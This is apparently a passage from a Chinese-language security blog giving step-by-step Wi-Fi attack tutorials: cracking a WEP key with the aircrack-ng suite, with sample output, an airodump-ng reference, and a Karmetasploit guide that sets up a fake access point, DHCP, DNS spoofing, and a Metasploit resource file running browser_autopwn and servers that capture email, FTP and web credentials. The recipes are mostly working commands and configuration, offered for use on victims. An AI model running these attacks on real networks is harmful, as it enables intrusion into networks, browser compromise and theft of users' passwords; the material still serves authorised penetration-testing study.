 如果Client連上AP之後並無上網行為,也不會產生封包,則 --arpreplay(-3)模式也無法讓它產生足夠有效的封包來讓aircrack-ng進行破解,所以會利用 -0 與 -3 搭配,讓Client不斷提出請求封包。
 如果沒有Client連上AP,就可以利用 -1 假裝連線要求,再利用 -3 產生大量封包。

過濾用參數
-b bssid : 基地台的 MAC address
-d dmac : Client 的 MAC address
-s smac : 本機的 MAC address
重送用參數
-x nbpps : 每秒發送(重送)封包數
-p fctrl : 設置訊框的控制字碼(set frame control word (hex))
-a bssid : 指定 AP 的 MAC address
-c dmac : 指定 Client 的 MAC address
-h smac : 指定本機(mon0)的 MAC address
-e essid : (在 -1 或 -9模式) 指定測試對象的 AP SSID
-j : (-3 模式) : inject FromDS pkts
-k IP : 變更訊框(fragment)的目的 IP
-l IP :變更訊框(fragment)的來源 IP
-o npckts : number of packets per burst (-1)
-q sec : seconds between keep-alives (-1)
-D :不做 AP 偵測
 如果要重送封包,有兩種選擇,一種是直接由接收到(Live)的封包逕以重送,一種是利用已存成檔案的封包來重送:
iface : capture packets from this interface
-r file : extract packets from this pcap file
破解WPA步驟查看

破解WEP步驟
步驟一:啟用監聽模式
airmon-ng start wlan0 8
其中 8 是指針對 Channel 進行監聽
Interface Chipset Driver
wlan0 Intel 3945ABG iwl3945 - [phy1]]
(monitor mode enabled on mon0)

步驟二:利用 airodump-ng 擷取 IVs 封包
airodump-ng -c 8 --bssid 00:26:0B:2A:BA:40 -w output mon0
-c 8    指定監聽的 Channel
--bssid 00:26:0B:2A:BA:40      指定過濾 AP MAC address
-w output      將擷取的封包寫到檔名為 output 檔案中
CH 8 ][ Elapsed: 36 s ][ 2010-08-11 12:19
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:26:0B:2A:BA:40 -17 93 339 72360 2043 8 54e. WPA TKIP PSK migrate
BSSID STATION PWR Rate Lost Packets Probes
00:26:0B:2A:BA:40 00:1F:3C:4E:88:46 0 24 - 1 28288 45891
00:26:0B:2A:BA:40 00:02:72:72:20:FE -25 0 -54e 90 11263

步驟三
:使用 aireplay-ng 發送偽造授權封包

(新開一個新的 Conslole)
aireplay-ng -1 0 -e migrate –a 00:26:0B:2A:BA:40 -h 00:1f:3c:4e:88:46 mon0
 -1       使用偽請求模式
 0        每秒鐘內發送請求的次數
 -e       AP 的 ESSID
 -a 00:26:0B:2A:BA:40         AP 的 MAC address
 -h 00:1f:3c:4e:88:46            本機網卡(mon0)的MAC address
12:27:40 Waiting for beacon frame (BSSID: 00:26:0B:2A:BA:40) on channel 8
12:27:40 Sending Authentication Request (Open System) [ACK]
12:27:40 Authentication successful
12:27:40 Sending Association Request [ACK]
12:27:40 Association successful :-) (AID: 1)
如果收到 deauthentication 封包,請繼續嘗試本步驟,直到 fake authentication正確執行完成,否則不要進行下一個步驟

步驟四: 啟動對 WPA 進行 Migration Mode 攻擊
(開啟新的 Console,並執行下列指令)
aireplay-ng -8 -b 00:26:0B:2A:BA:40 -h 00:1f:3c:4e:88:46 mon0
12:17:52  Waiting for beacon frame (BSSID: 00:26:0B:2A:BA:40) on channel 8
Saving ARP requests in replay_arp-0811-121752.cap
You should also start airodump-ng to capture replies.
Remember to filter the capture to only keep WEP frames:  "tshark -R 'wlan.wep.iv' -r capture.cap -w outcapture.cap"
Read 318368 packets (102102 ARPs, 78 ACKs), sent 59315 packets...(500 pps)

注意:
如果收到類似“Got a deauth/disassoc packet. Is the source mac associated?”的訊息,表示已經跟 AP 離線,所有的注入封包都無效,必須重回步驟三執行。

步驟五:利用aircrack-ng執行金鑰破解
(再開一個 Console,並執行:)
aircrack-ng -a 1 -b 00:26:0B:2A:BA:40   output*.cap
- a 1           指定破解對象是WEP 加密金鑰
-b 00:26:0B:2A:BA:40         指定要破解的 AP MAC address
output*.cap          指定封包檔來源

                                                                                            Aircrack-ng 1.2
                                                                            [00:00:00] Tested 763 keys (got 47981 IVs)
   KB    depth   byte(vote)
    0    1/  3   EF(59904) F8(56320) 25(56064) 56(55552) D0(55552) 58(55296) 74(54528) FA(54528) 7D(54272) 86(53760) C7(53504) E7(53504) ED(53504) B0(53248) B9(53248) D7(53248)
    1    3/  5   99(56576) AA(56320) 6E(55552) 1A(55040) 25(55040) 3D(55040) 50(55040) 87(55040) 61(54784) 71(54784) D9(54528) 60(54272) BB(54272) F8(54272) 24(54016) E6(54016)
    2   20/  2   51(52992) 5F(52736) 7C(52736) 8F(52736) C5(52736) 23(52480) 76(52480) 77(52480) B5(52480) DD(52480) 47(52224) 5C(52224) 53(51968) D3(51968) DE(51968) 0B(51712)
    3    0/  1   B9(69120) 3B(57856) B0(57344) 53(55808) A2(55808) 96(55296) E4(55296) 5D(54784) D5(54784) 6E(54528) 38(54272) 65(54272) 4C(54016) 78(54016) F6(54016) 21(53760)
    4    7/  4   32(56576) 95(55808) 4D(54528) 82(54528) AE(54272) 0F(53760) 39(53760) B0(53760) F5(53760) 6E(53504) 97(53504) 11(53248) A1(53248) B3(53248) 5C(52992) 20(52736)
             KEY FOUND! [ AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA ]
        Decrypted correctly: 100%

如何讀取 gmail 的信頭(headers)

gmail 屬 Web mail型態,我看到的都網頁,縱使用利用「檢視原始碼」也只是看到當前網頁的程式碼,如果要查看這封信的原始資訊,其實可以由信件右上角的「回覆」鈕右方之下拉箭頭,展開更多功能選項,然後選擇「顯示原始郵件」(會另開網頁)即可看到!
從「回覆」鈕的下拉箭頭選取「顯示原始郵件」



2014年1月9日 星期四

airodump-ng -- 無線網路封包擷取

airodump-ng 是收集無線網路封包的工具,尤其收集WEP IVs (Initialization Vector) 供 aircrack-ng 進行帳密破解,如果你的電腦有 GPS 接收器,airodump-ng 還能指出無線 AP 的位置。
用法:(使用之前請先將網卡開在監聽模式, 見 airmon-ng)
airodump-ng [<options>] <interface>[,<interface>,...]
範例:
airodump-ng --ivs -w MyWifi -c 10 mon0
options
--ivs只收集 WEP 的 ivs 封包
--gpsd使用 GPS 來定位 AP 位置
--write <prefix>
-w <prefix>
指定封包檔的主檔名(不含副檔名)
--beacons在封包檔中記錄所有無線信標(beacon)
--update <secs> 設定畫面資訊的更新間隔(秒)
--showack輸出 ack/cts/rts 的統計值
-h Hides known stations for --showack
-f <msecs> 切換 channel 的時間間隔(ms)
--berlin <secs> 設定一個間隔(秒),如果超過間隔時間,相應的AP/Client 都沒有封包往來,就從螢幕移除  (Default 120 seconds)
-r <file> 擷取之前先從現有的檔案讀取封包資料
-x <msecs> Active Scanning Simulation
--output-format <formats>
-o <formats>
指定封包檔輸出的格式
pcapivscsvgpskismetnetxml
格式可以多個指定,則會同時寫出多個檔案
惟 ivs 與 pcap 不能共存

AP 過濾選項:
--encrypt <suite> Filter APs by cipher suite
--netmask <netmask>
-m
Filter APs by mask
--bssid <bssid>
-d  <bssid>
Filter APs by BSSID
-a Filter unassociated clients(搜尋 AP 中的Client)

airodump-ng -d 00:1C:10:00:00:00 -m FF:FF:FF:00:00:00 wlan0
使用 -d(bssid) 及 -m(mask) 的組合,可以收集特定區段內的 AP 封包過濾特定的AP
--channel <channels>
-c <channels>
指定只接收特定的 channels,如果有多個 channel,用 , 分隔,例如:-c 6,8,10,11
--band <abg> 指定只接收特定的頻段(band)
-C <frequencies> airodump-ng 預設是在 2.4GHz的基點上作業,可以指定以 MHz 的方式在基點上進行掃描頻率的切換
--cswitch <method>
-s <method>
指定 channel (見 --channel) 切換的方式
0 FIFO (default)
1 Round Robin
2 Hop on last


 螢幕顯示之欄位說明
CH  9 ][ Elapsed: 1 min ][ 2007-04-26 17:41 ][ WPA handshake: 00:14:6C:7E:40:80
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 00:09:5B:1C:AA:1D   11  16       10        0    0  11  54.  OPN              NETGEAR                         
 00:14:6C:7A:41:81   34 100       57       14    1   9  11e  WEP  WEP         bigbear 
 00:14:6C:7E:40:80   32 100      752       73    2   9  54   WPA  TKIP   PSK  teddy                             
                                                                                                            
 BSSID              STATION            PWR   Rate   Lost  Packets  Probes
 00:14:6C:7A:41:81  00:0F:B5:32:31:31   51   36-24    2       14
 (not associated)   00:14:A4:3F:8D:13   19    0-0     0        4    mossy 
 00:14:6C:7A:41:81  00:0C:41:52:D1:D1   -1   36-36    0        5
 00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35   54-54    0       99    teddy
第一列分別是:目前網卡使用的channel,  截到當前的使用時間,目前的時間,AP的加密通訊型態及 AP的  BSSID. (不一定會有)

接下來的兩個區域:
上面區域(AP端)的欄位
BSSID:目前偵測到的 AP 之BSSID(MAC address)
PWR :發射功率,如果值為 -1 表示該 AP 提供功率資訊
RXQ:接收率(通訊品質),表示最近10秒內成功接收封包的比例
Beacons:AP 發送的封包數
#Data:目前擷取到的封包數(如果WEP,則為 iv 數)
#/s :  最近10秒內,平均每秒傳送的封包數
CH :AP使用的 Channel
MB :AP 可支援的最大通訊速率,值為11表 802.11b; 22 表 802.11b+ ,若更高則為 802.11g,如果比 54MB高,則顯示為 54. (加小數點),如果後接 e ,表示啟用 QoS
ENC : 通訊封包加密方式(OPN = 不加密,”WEP?” = WEP 或以上,WEP=WEP加密, TKIP 或 CCMP= WPA / WPA
CIPHER:  密碼的加密方式。
AUTH :認證的協議模式(MGT:WPA/WPA2 獨立認證,SKA:WEP的共享金鑰,PSK:WPA/WPA2 預設共享金鑰,OPN:開放式WEP)
ESSID : AP 的代碼

下面區域(AP端與Client的通訊狀態)
BSSID:目前偵測到的 AP 之BSSID(MAC address),如果顯示 not associated 表示Client尚未連接到 AP(搜尋 AP 中)
STATION: Client 端的 MAC address 
PWR :發射功率,如果值為 -1 表示Client目前不在通訊範圍裡
Rate :前面的值是 AP to Client 的速率(Mbits/ser),後面則為 Client to AP
Lost :最近10秒內遺失的封包數(以封包序號為偵測對象)
Packets :從 Client 送給  AP 的封包總數
Probes : Client 往來的 AP  端之 ESSID (AP代碼)
如果ESSID顯示 "<length: N>",表示 SSID 被隱藏,但知道它的字元長度是 N (如果 N為0或1,即連其長度也未知),可嘗試利用mdk3 暴力取得 SSID.

2014年1月8日 星期三

airmon-ng -- 啟用無線網卡(Wireless interfaces)i的監聽模式

語法1:airmon-ng
查看目前監聽模式的啟用狀態。
語法2:airmon-ng <start | stop> <interface> [channel]
啟動或關閉監聽模式

語法3:airmon-ng <check | check kill>
檢查目前執行中的程序哪些可能干擾監聽作業


參數說明:
<start | stop>  啟動(start) 或 關閉(stop)監聽
<interface>    指定要監聽的網卡(可用 iwconfig, ifconfig 查看)
[channel]         可以指定監聽的 channel
<check | check kill>  「check」只檢查哪些程序可能干擾監聽模式 ,或者,「check kill」檢查哪些程序可能干擾監聽模式並嘗試將這些程序關閉

範例:
1. 將 waln0 開啟監聽模式,並設定 channel 10
     airmon-ng start wlan0 10
2. 關閉 wlan0 的監聽模式
      airmon-ng stop wlan0

2014年1月6日 星期一

Karmetasploit:偽冒無線基地台(AP:Access Point)的攻擊手法

Karmetasploit 用偽造的無線 AP (Access Point),讓 client 的無線通訊經由此 AP,而讓攻擊機可以分析或注入漏洞到client的應用系統,以達到滲透的目的,然而不是所有的無線網卡都可以偽造 AP,你的網卡必須要能支援  monitor 及 Injection 模示,可以參考
Aircrack-NG Compatibility Page所列的清單。
Kali 裡事先已經安裝 airmon-ng 套件及 Karmetasploit,不過我們還要完成相關設定才能實戰,執行步驟如下述:
1. 要完成 Karmetasploit的偽造,需要有 dhcp service 的支援,可用 service --status-all 查看是否已執行 dhcpd,如果沒有,請先安裝及設定 dhcpd 服務:
(1) 安裝  apt-get install isc-dhcp-server

(2) 架構 dhcpd.conf 內容:在 /etc 目錄下建一個 dhcpd.conf 檔案,並參考 /etc/dhcp/dhcpd.conf 或者 /etc/dhcp3/dhcpd.conf 的內容,再將下面內容組合至/etc/dhcpd.conf 裡:
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
      range 10.0.0.100 10.0.0.254;
     option routers 10.0.0.1;
     option domain-name-servers 10.0.0.1;
}

(3)啟動 service isc-dhcp-server start
2. 執行 airodump-ng-oui-update                         (Option)更新 airCarck到最新版
3. 執行 airmon-ng  start  [WIFI-INTERFACE]
啟用你的無線網卡到monitor模式,[WIFI-INTERFACE] 是你無線網卡代號,像我的是 wlan0,如果執行成功,會建立一組 monitor 介面,並命名為 mon0
4. 執行 aireplay-ng  --test  [MONITOR-INTERFACE]
測試 monitor 介面支援 Injection 功能,[MONITOR-INTERFACE] 就是前一步驟建立的 mon0,如果執行成功,請仔細找出哪些正常的AP是可以拿來攻擊的。
root@kali104:/#  aireplay-ng --test mon0
02:19:20 Trying broadcast probe requests...
02:19:20 Injection is working!
02:19:22 Found 2 APs
02:19:22 Trying directed probe requests...
02:19:22 00:xx:01:xx:78:xx - channel: 11 - 'buffaloap'
02:19:22 Ping (min/avg/max): 1.759ms/12.232ms/65.397ms Power: 7.36
02:19:22 28/30: 93%
02:19:22 06:xx:B3:xx:02:xx - channel: 11 - 'linksys'
02:19:23 Ping (min/avg/max): 3.184ms/3.682ms/6.579ms Power: -128.00
02:19:23 30/30: 100%
從上面訊息,可以看到「buffaloap」和「linksys」都可以被注入,所以都可以對其進行攻擊!底下就拿 linksys 做為測試目標


經測試無線網卡在 monitor 及 Injection 皆可正常作業,接著就要設置karmetasploit環境。

5. 開一個Console視窗 1,並執行(執行完不要關閉 Console):
root@kali104:/# airbase-ng -P -C 30 -e "linksys" -v mon0
上面命令的 linksys 是我們要偽造的目標, mon0 是我們網卡開成monitor 模式的代碼,執行成功之後,請注意顯示訊息的第一行:Created tap interface at0,這個 at0 就是用來服務受害 Client 端的網路。
6. 接著開Console視窗2,並依序執行下列命令:
root@kali104:/# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
root@kali104:/# dhcpd  -cf  /etc/dhcpd.conf at0
7.準備 metasploit 使用的 resource 檔(karma.rc,可以自行複製下面的內容至文字檔中,或由網路下載),我們把 karma.rc 存在 /etc 目錄下
# load db_sqlite3            # 因為 metasploit 已內建 postgresql,所以此行可免
# db_create /root/karma.db     # 使用 msfconsole 的 msf3 資料庫即可
use auxiliary/server/browser_autopwn
setg AUTOPWN_HOST 10.0.0.1
setg AUTOPWN_PORT 55550
setg AUTOPWN_URI /ads
set LHOST 10.0.0.1
set LPORT 45000
set SRVPORT 55550
set URIPATH /ads
run

use auxiliary/server/capture/pop3
set SRVPORT 110
set SSL false
run

use auxiliary/server/capture/pop3
set SRVPORT 995
set SSL true
run

use auxiliary/server/capture/ftp
run

use auxiliary/server/capture/imap
set SSL false
set SRVPORT 143
run

use auxiliary/server/capture/imap
set SSL true
set SRVPORT 993
run

use auxiliary/server/capture/smtp
set SSL false
set SRVPORT 25
run

use auxiliary/server/capture/smtp
set SSL true
set SRVPORT 465
run

use auxiliary/server/fakedns
unset TARGETHOST
set SRVPORT 5353
run

use auxiliary/server/fakedns
unset TARGETHOST
set SRVPORT 53
run

use auxiliary/server/capture/http
set SRVPORT 80
set SSL false
run

use auxiliary/server/capture/http
set SRVPORT 8080
set SSL false
run

use auxiliary/server/capture/http
set SRVPORT 443
set SSL true
run

use auxiliary/server/capture/http
set SRVPORT 8443
set SSL true
run
8. 啟動 Karmetasploit
root@kali104:/# msfconsole -r /etc/karma.rc
或者進入 msconsole 後,使用 resource karma.rc 載入亦可
9. 等待獵物上門囉! (如何剖析抓到的資料,下回分解)

為了方便參考,我把上面的步驟縮簡如下,console1, console2 就是要開啟的兩個Console 台
console 1 console 2

# airmon-ng start wlan0
 '啟用監聽的網卡

# aireplay-ng --test mon0
'查看哪些AP可以注入

# airbase-ng -P -C 30 -e "linksys" -v mon0
 '開始注入/監聽

...從這裡開始有訊號進來(不要關閉 conslole),注意第一行,會出現Created
tap interface
at0
」!!!

# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0    
'啟動 at0 介面卡

# dhcpd -cf /etc/dhcpd.conf at0 
'讓 at0 具備 dhcp server 功能

# msfconsole -r /etc/karma.rc
'進入 metasploit

...進入msfconsole 後,就靜靜等候,如果metasploit滲透成功,就會跳出 complete 訊息,就可以做進一步操作!!!

PS: 通常 client 剛加到 Karmetasploit router 時,可能還存在之前的 DNS 快取,而直接利用此暫存結果連線到之前的目標 IP,不會轉向 Metasploit 的 DNS 模組來查詢, 為了能解決 client 逃過我們的 DNS 陷阱的問題,可以透過修改 iptable 的方式,將所有流向此 AP 的封包都轉向這個系統中。
root@kali104:/#  iptables -t nat -A PREROUTING -i at0 -j REDIRECT